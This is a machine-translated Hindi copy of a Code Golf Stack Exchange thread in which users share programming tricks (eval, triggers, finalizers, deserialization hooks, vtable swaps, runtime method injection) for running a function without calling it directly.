        $idx = strpos( $code, $matches[0] ) + strlen( substr( $matches[0], 0 ) );

        $parenNestLevel = 1;
        $len = strlen( $code );

        while( $idx < $len and $parenNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "(" )
                ++$parenNestLevel;
            elseif( $char == ")" )
            {
                if( $parenNestLevel == 1 )
                    break;
                else
                    --$parenNestLevel;
            }

            ++$idx;
            $funcArgs .= $char;
        }

        $idx = strpos( $code, "{", $idx ) + 1;
        $curlyNestLevel = 1;

        while( $idx < $len and $curlyNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "{" )
                ++$curlyNestLevel;
            elseif( $char == "}" )
            {
                if( $curlyNestLevel == 1 )
                    break;
                else
                    --$curlyNestLevel;
            }

            ++$idx;
            $funcBody .= $char;
        }
    } else return;

    while( preg_match( "@(?:(\\$[A-Z_][A-Z0-9_]*)[\r\n\s\t\v]*,)@i", $funcArgs, $matches ) )
    {
        var_dump( $matches );
        $funcArgs = str_replace( $matches[0], "global " . $matches[1] . ";", $funcArgs );
    }

    $funcArgs .= ";";
    $code = $funcArgs;

    foreach( $args as $k => $v )
        $code .= sprintf( "\$%s = \"%s\";", $k, addslashes( $v ) );

    $code .= $funcBody;

    return eval( $code );
}

उदाहरण :

//Call getRandomString() with default arguments.
$str = executeFunction( "getRandomString" );
print( $str . PHP_EOL );

//You can also pass your own arguments in.
$args = [ "len" => 25 ]; //The array key must be the name of one of the arguments as it appears in the function declaration.
$str = executeFunction( "getRandomString", $args );
print( $str . PHP_EOL );

संभव आउटपुट:

6Dz2r
X7J0p8KVeiaDzm8BInYqkeXB9

स्पष्टीकरण :

जब कहा जाता है, executeFunction()वर्तमान में निष्पादित फ़ाइल की सामग्री को पढ़ेगा (जिसका अर्थ है कि यह केवल सीएलआई से चलाया जाना है, जैसा कि यह उपयोग करता है $argv), निर्दिष्ट फ़ंक्शन के तर्कों और शरीर को पार्स करें, सब कुछ एक साथ वापस एक नया हिस्सा में हैक करें कोड, eval()यह सब, और परिणाम वापस। इसका परिणाम यह getRandomString()है कि वास्तव में इसे कभी भी प्रत्यक्ष या अप्रत्यक्ष रूप से नहीं कहा जाता है, लेकिन फ़ंक्शन बॉडी में कोड को अभी भी निष्पादित किया जाता है।


ठीक है, क्या __construct()PHP में विधि की गिनती पैदा करता है क्योंकि आप कभी भी फ़ंक्शन को सीधे कॉल नहीं करते हैं, लेकिन new Something()इसके बजाय उपयोग करते हैं?
डेमिर कासिपोविक

@ डी। कासिपोविक काइंड, एक तर्क दे सकता है कि आप सीधे इसे अभी भी लागू कर रहे हैं, बस एक अलग तरीके से। मैंने अपने वर्तमान दृष्टिकोण को चुना क्योंकि मुझे बॉक्स के बाहर सोचना पसंद है। मैं सिर्फ एक कॉलबैक के रूप में कार्य पंजीकृत किया जा सकता था करने के लिए register_tick_function(), register_shutdown_function()या spl_autoload_register()@ GRC के अजगर जवाब देने के लिए समान है, लेकिन मुझे लगता है कि ऐसा महसूस 'धोखा दे' और आसान तरीका है बाहर ले रहा है।
टोनी एलिस


7

T-SQL

यह बिल्ट इन फीचर है। जीत के लिए ट्रिगर!

यदि आप वास्तव में इसके साथ मज़े करना चाहते हैं, तो अप्रैल फूल दिवस पर INSTEAD ऑफ़ ट्रिगर्स का एक समूह बनाएँ।

CREATE TABLE hw(
  Greeting VARCHAR(MAX)
  );

CREATE TRIGGER TR_I_hw
ON hw
INSTEAD OF INSERT
AS
BEGIN
  INSERT hw
  VALUES ('Hello, Code Golf!')
END;

INSERT hw
VALUES ('Hello, World!');

SELECT * FROM hw

परिणाम:

|          GREETING |
|-------------------|
| Hello, Code Golf! |

बहुत शरारत। ऐसा लुलज़। वाह।

टिंकर SQLFiddle पर इसे चौड़ा करें।


2
ट्रिगर हमेशा मुझे मिलता है, एक एप्लिकेशन डेवलपर के रूप में, मैं उनसे कभी उम्मीद नहीं करता।
मैथ्यू

7

जावास्क्रिप्ट

फ़ायरफ़ॉक्स कंसोल में:

    this.toString = function(){alert('Wow')};

फिर बस कंसोल में कुछ भी लिखना शुरू करें - .toString()जब आप कंसोल में टाइप कर रहे हों तो फ़ायरफ़ॉक्स कई बार कॉल करता है।

इसी तरह का दृष्टिकोण है:

    window.toString = function(){alert('Wow');
            return 'xyz';
    };
    "" + window;

6

सी

पसंद का मंच लिनक्स है। हम अपने फ़ंक्शन को कॉल नहीं कर सकते हैं, इसलिए हमारे पास इसके बजाय हमारा लिंकर होगा:

#include <stdlib.h>
#include <stdio.h>

#define ADDRESS 0x00000000600720 // ¡magic!

void hello()
{
        printf("hello world\n");
}

int main(int argc, char *argv[])
{
        *((unsigned long *) ADDRESS) = (unsigned long) hello;
}

जादू का पता कैसे प्राप्त करें?

हम लिनक्स स्टैंडर्ड बेस कोर स्पेसिफिकेशन पर भरोसा कर रहे हैं, जो कहता है:

.fini_array

इस खंड में फ़ंक्शन पॉइंटर्स की एक सरणी होती है, जो अनुभाग वाले निष्पादन योग्य या साझा किए गए ऑब्जेक्ट के लिए एकल समाप्ति सरणी में योगदान देता है।

  1. कोड संकलित करें:

    gcc but_for_what_reason_exactly.c -o but_for_what_reason_exactly

  2. के पते की जाँच करें .fini_array:

    objdump -h -j .fini_array but_for_what_reason_exactly

  3. इसका VMA ज्ञात करें:

 but_for_what_reason_exactly:     file format elf64-x86-64
 Sections:
 Idx Name          Size      VMA               LMA               File off  Algn
  18 .fini_array   00000008  0000000000600720  0000000000600720  00000720  2**3
                   CONTENTS, ALLOC, LOAD, DATA

और उस मान को बदलें ADDRESS


5

VB6 और VBA

निश्चित नहीं है कि यह योग्य है या नहीं, क्योंकि यह कक्षा की एक विधि कह रहा है:

यह एक क्लास मॉड्यूल में जाता है:

Public Sub TheFunction()

    MsgBox ("WTF?")

End Sub

Public Sub SomeOtherFunction()

    MsgBox ("Expecting this.")

End Sub

और यह "कॉलिंग" कोड है:

Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)

Sub Demo()

    Dim a As Long, b as Long
    Dim example As New Class1

    CopyMemory a, ByVal ObjPtr(example), 4
    CopyMemory b, ByVal a + &H1C, 4
    CopyMemory ByVal a + &H1C, ByVal a + &H1C + 4, 4
    CopyMemory ByVal a + &H1C + 4, b, 4

    Call example.SomeOtherFunction

End Sub

यह वर्ग के लिए vtable में दो Subs के लिए फ़ंक्शन vptr की अदला-बदली करके काम करता है।


यार, तुम खतरनाक हो ! अच्छा है!
मैथ्यू गुइंडन

मैं कहता हूं कि यह अर्हता प्राप्त करता है , क्योंकि VB6 / VBA में एक विधि एक वर्ग का सदस्य है - अन्यथा यह एक प्रक्रिया है ;)
मैथ्यू गुइंडन

5

हास्केल

यदि आप करते हैं तो हैस्केल में:

main=putStrLn "This is the main action."

जब आप इसे चलाएंगे तो इसका नाम लिए बिना इसे तुरंत निष्पादित कर दिया जाएगा। जादू!


1
हास्केल की गिनती नहीं है। आप एक IO क्रिया नहीं कह सकते , केवल IO क्रियाओं को अधिक श्रृंखलाबद्ध कर सकते हैं या इसे कहीं निर्दिष्ट कर सकते हैं।
जॉन ड्वोरक

यह IO क्रियाओं के लिए समान अवधारणा है।
19

5

जावास्क्रिप्ट

आसान, on___जेएस में सिर्फ घटनाओं का उपयोग करें । उदाहरण के लिए:

var img = document.createElement('img')
img.onload = func
img.src = 'http://placehold.it/100'

4

जावा

अन्य जावा ने मुझसे जवाब दिया। जैसा कि आप कोड में देखते हैं, यह सीधे कॉल करता है theCalledMethod, लेकिन विधि notCalledMethodको इसके बजाय निष्पादित किया जाता है।

तो, अंत में मैं 2 चीजें कर रहा हूं:

  • बिना बुलाए किसी विधि को कॉल करना।
  • न कि किसी विधि को बुलाकर।
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class ClassRewriting {
    public static void main(String[] args) throws IOException {
        patchClass();
        OtherClass.theCalledMethod();
    }

    private static void patchClass() throws IOException {
        File f = new File("OtherClass.class");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (InputStream is = new BufferedInputStream(new FileInputStream(f))) {
            int c;
            while ((c = is.read()) != -1) baos.write(c);
        }
        String s = baos.toString()
                .replace("theCalledMethod", "myUselessMethod")
                .replace("notCalledMethod", "theCalledMethod");
        try (OutputStream os = new BufferedOutputStream(new FileOutputStream(f))) {
            for (byte b : s.getBytes()) os.write(b);
        }
    }
}

class OtherClass {
    public static void theCalledMethod() {
        System.out.println("Hi, this is the called method.");
    }

    public static void notCalledMethod() {
        System.out.println("This method is not called anywhere, you should never see this.");
    }
}

इसे चलाना:

> javac ClassRewriting.java

> java ClassRewriting
This method is not called anywhere, you should never see this.

>

यह प्लेटफॉर्म पर निर्भर है। विशेष रूप से, यह संभवतः ओएस एक्स पर विफल हो जाएगा जहां मंच डिफ़ॉल्ट चरित्र एन्कोडिंग UTF-8 है।
ntoskrnl

@ntoskrnl यह तय करना आसान होना चाहिए यदि आप एन्कोडिंग नाम को getBytes()विधि के पैरामीटर के रूप में पास करते हैं , तो यह चालू हो जाता है getBytes("UTF-8")। चूँकि मेरे पास OS X नहीं है, क्या आप परीक्षण कर सकते हैं कि क्या यह काम करता है?
विक्टर स्टैफुसा

UTF-8 बाइनरी डेटा के लिए काम नहीं करता है। ISO-8859-1 जैसे एकल-बाइट एन्कोडिंग को काम करना चाहिए, लेकिन बाइनरी डेटा को एक स्ट्रिंग के रूप में व्यवहार करना अभी भी गलत है।
ntoskrnl

3
@ntoskrnl वास्तव में, मैं यहाँ जो काम कर रहा हूँ, उसे करने के लिए क्लासफाइल्स से बलात्कार करना गलत है, एन्कोडिंग समस्याओं में सबसे छोटी है। :)
विक्टर स्टैफ़ुसा

4

अजगर

class Snake:

    @property
    def sneak(self):
        print("Hey, what's this box doing here!")
        return True

solid = Snake()

if hasattr(solid, 'sneak'):
    print('Solid Snake can sneak')

4

जावा

याय, कचरा संग्रह!

public class CrazyDriver {

    private static class CrazyObject {
        public CrazyObject() {
            System.out.println("Woo!  Constructor!");
        }

        private void indirectMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            indirectMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
    }

    private static void randomMethod() {
        CrazyObject wut = new CrazyObject();
    }
}

उन लोगों के लिए एक संस्करण जो अनिवार्य रूप से कहेंगे कि System.gc()अविश्वसनीय है:

public class UselessDriver {

    private static class UselessObject {

        public UselessObject() {
            System.out.println("Woo!  Constructor!");
        }

        public void theWinningMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            theWinningMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
        fillTheJVM();
    }


    private static void randomMethod() {
        UselessObject wut = new UselessObject();
    }

    private static void fillTheJVM() {
        try {
            List<Object> jvmFiller = new ArrayList<Object>();
            while(true) {
                jvmFiller.add(new Object());
            }
        }
        catch(OutOfMemoryError oome) {
            System.gc();
        }
    }
}

4

उद्देश्य सी

(शायद केवल अगर मैक ओएस एक्स पर क्लैंग के साथ संकलित किया गया है)

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

void unusedFunction(void) {
    printf("huh?\n");
    exit(0);
}

int main() {

    NSString *string;
    string = (__bridge id)(void*)0x2A27; // Is this really valid?

    NSLog(@"%@", [string stringByAppendingString:@"foo"]);

    return 0;
}

@interface MyClass : NSObject
@end
@implementation MyClass

+ (void)load {
    Class newClass = objc_allocateClassPair([NSValue class], "MyClass2", 0);
    IMP imp = class_getMethodImplementation(self, @selector(unusedMethod));
    class_addMethod(object_getClass(newClass), _cmd, imp, "");
    objc_registerClassPair(newClass);
    [newClass load];
}

- (void)unusedMethod {
    Class class = [self superclass];
    IMP imp = (IMP)unusedFunction;
    class_addMethod(class, @selector(doesNotRecognizeSelector:), imp, "");
}

@end

यह कोड अप्रयुक्त फ़ंक्शन को प्राप्त करने के लिए कई तरकीबों का उपयोग करता है। पहले मान 0x2A27 है। यह पूर्णांक 42 के लिए एक टैग किया गया सूचक है , जो किसी ऑब्जेक्ट को आवंटित करने से बचने के लिए पॉइंटर में मान को एन्कोड करता है।

अगला है MyClass। इसका उपयोग कभी नहीं किया जाता है, लेकिन रनटाइम उस +loadविधि को कहता है जब इसे लोड किया जाता है, पहले main। यह गतिशील NSValueरूप से अपने सुपरक्लास के रूप में उपयोग करते हुए, एक नया वर्ग बनाता है और पंजीकृत करता है । यह भी एक कहते हैं +loadकि वर्ग के लिए पद्धति का उपयोग MyClassके -unusedMethodकार्यान्वयन के रूप में। पंजीकरण के बाद, यह नई कक्षा पर लोड विधि कहता है (किसी कारण से इसे स्वचालित रूप से नहीं कहा जाता है)।

चूंकि नए वर्ग की लोड विधि उसी कार्यान्वयन का उपयोग करती है unusedMethod, जो प्रभावी रूप से कहा जाता है। यह स्वयं का सुपरक्लास लेता है, और unusedFunctionउस वर्ग के doesNotRecognizeSelector:तरीके के कार्यान्वयन के रूप में जोड़ता है । यह विधि मूल रूप से एक उदाहरण विधि थी MyClass, लेकिन इसे नए वर्ग पर एक वर्ग विधि के रूप में कहा जा रहा है, इसलिए selfनई कक्षा वस्तु है। इसलिए, सुपरक्लास वह है NSValue, जिसके लिए सुपरक्लास भी है NSNumber

अंत में, mainचलाता है। यह पॉइंटर मान लेता है और इसे एक NSString *चर में चिपका देता है ( __bridgeऔर void *एआरसी के साथ या इसके बिना उपयोग करने की अनुमति देने के लिए पहली डाली )। फिर, यह stringByAppendingString:उस चर पर कॉल करने की कोशिश करता है । चूंकि यह वास्तव में एक संख्या है, जो उस पद्धति को लागू नहीं करता है, इसलिए doesNotRecognizeSelector:विधि को इसके बजाय कहा जाता है, जो कक्षा पदानुक्रम के माध्यम से यात्रा करता है NSValueजहां यह प्रयोग करके लागू किया जाता है unusedFunction


नोट: अन्य प्रणालियों के साथ असंगति सूचक सूचक उपयोग के कारण है, जो मुझे नहीं लगता कि अन्य कार्यान्वयनों द्वारा कार्यान्वित किया गया है। यदि इसे सामान्य रूप से बनाई गई संख्या से बदल दिया गया तो बाकी कोड ठीक काम करना चाहिए।


हम्म, ciruZ 'ObjFW के साथ प्रयास करें , यह एक बहुत अच्छा उद्देश्य-सी रनटाइम और फ्रेमवर्क है, शायद यह, या कुछ करीबी, इसके साथ भी काम करेगा ;-)
mirabilos

@mirabilos इसमें केवल असंगतता का 0x2A27मूल्य है, इसलिए मुझे नहीं पता कि क्या इसे कहीं और लागू किया गया है। ObjFW निश्चित रूप से हालांकि दिलचस्प है।
उघौवगफह


@ ब्रायन धन्यवाद! मैं उस सटीक लेख की तलाश में था और उचित नाम याद नहीं रख सका।
उघौवगफह

@BryanChen आह ठीक है। ughoavgfhw: निश्चित रूप से, यदि आप इसके साथ खेलना चाहते थे तो वैकल्पिक रनटाइम को इंगित करना चाहते थे।
mirabilos

3

जावास्क्रिप्ट

मुझे लगता है कि यह स्पष्ट रूप से ऐसा नहीं लगता है जैसे यह फ़ंक्शन को बुला रहा है

window["false"] =  function() { alert("Hello world"); }
window[![]]();

5
सुंदर सीमा अगर तुम मुझसे पूछो।
कोल जॉनसन

@ColeJohnson मुझे लगता है कि वह पहले से ही इसे पार कर गया ...
टॉमस

3

सी # (के माध्यम से using)

using System;

namespace P
{
    class Program : IDisposable
    {
        static void Main(string[] args)
        {
            using (new Program()) ;
        }

        public void Dispose()
        {
            Console.Write("I was called without calling me!");
        }
    }
}

3

जावा

package stuff;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class SerialCall {
    static class Obj implements Serializable {
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
            System.out.println("Magic!");
        }
    }

    private static final byte[] data = { -84, -19, 0, 5, 115, 114, 0, 20, 115,
            116, 117, 102, 102, 46, 83, 101, 114, 105, 97, 108, 67, 97, 108,
            108, 36, 79, 98, 106, 126, -35, -23, -68, 115, -91, -19, -120, 2,
            0, 0, 120, 112 };

    public static void main(String[] args) throws Exception {
//      ByteArrayOutputStream baos = new ByteArrayOutputStream();
//      ObjectOutputStream out = new ObjectOutputStream(baos);
//      out.writeObject(new Obj());
//      System.out.println(Arrays.toString(baos.toByteArray()));

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data));
        in.readObject();
    }
}

मैं जावा क्रमांकन की एक विशेष सुविधा का लाभ ले रहा हूं। readObjectजब एक वस्तु deserialized है विधि शुरू हो जाती है, लेकिन यह सीधे नहीं कहा जाता है - मेरी कोड से नहीं, और न ही अक्रमांकन पुस्तकालय द्वारा। यदि आप स्रोत में गहरी खुदाई करते हैं, तो आप देखेंगे कि निम्न स्तर पर विधि को आंतरिक रूप से परावर्तन के माध्यम से बुलाया जाता है।


हाँ; क्रमांकन बहुत मजेदार चुटकुले की अनुमति देता है :); btw
चिकित्सा

3

पर्ल

यह इतना आसान है। नीचे दिया गया कोड स्वचालित रूप से स्पष्ट कॉल के बिना, सबरूटीन में कोड चलाता है।

sub call_me_plz {
    BEGIN {
        print "Hello, world!\n";
    }
}
# call_me_plz(); # don't call the method

यहां तक ​​कि अगर आप कॉल को अनलिमट करते हैं, तो भी यह सिर्फ एक बार कॉल किया जाएगा।


कैसे? खिचड़ी जादू के पीछे +
मास्टर x244
हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.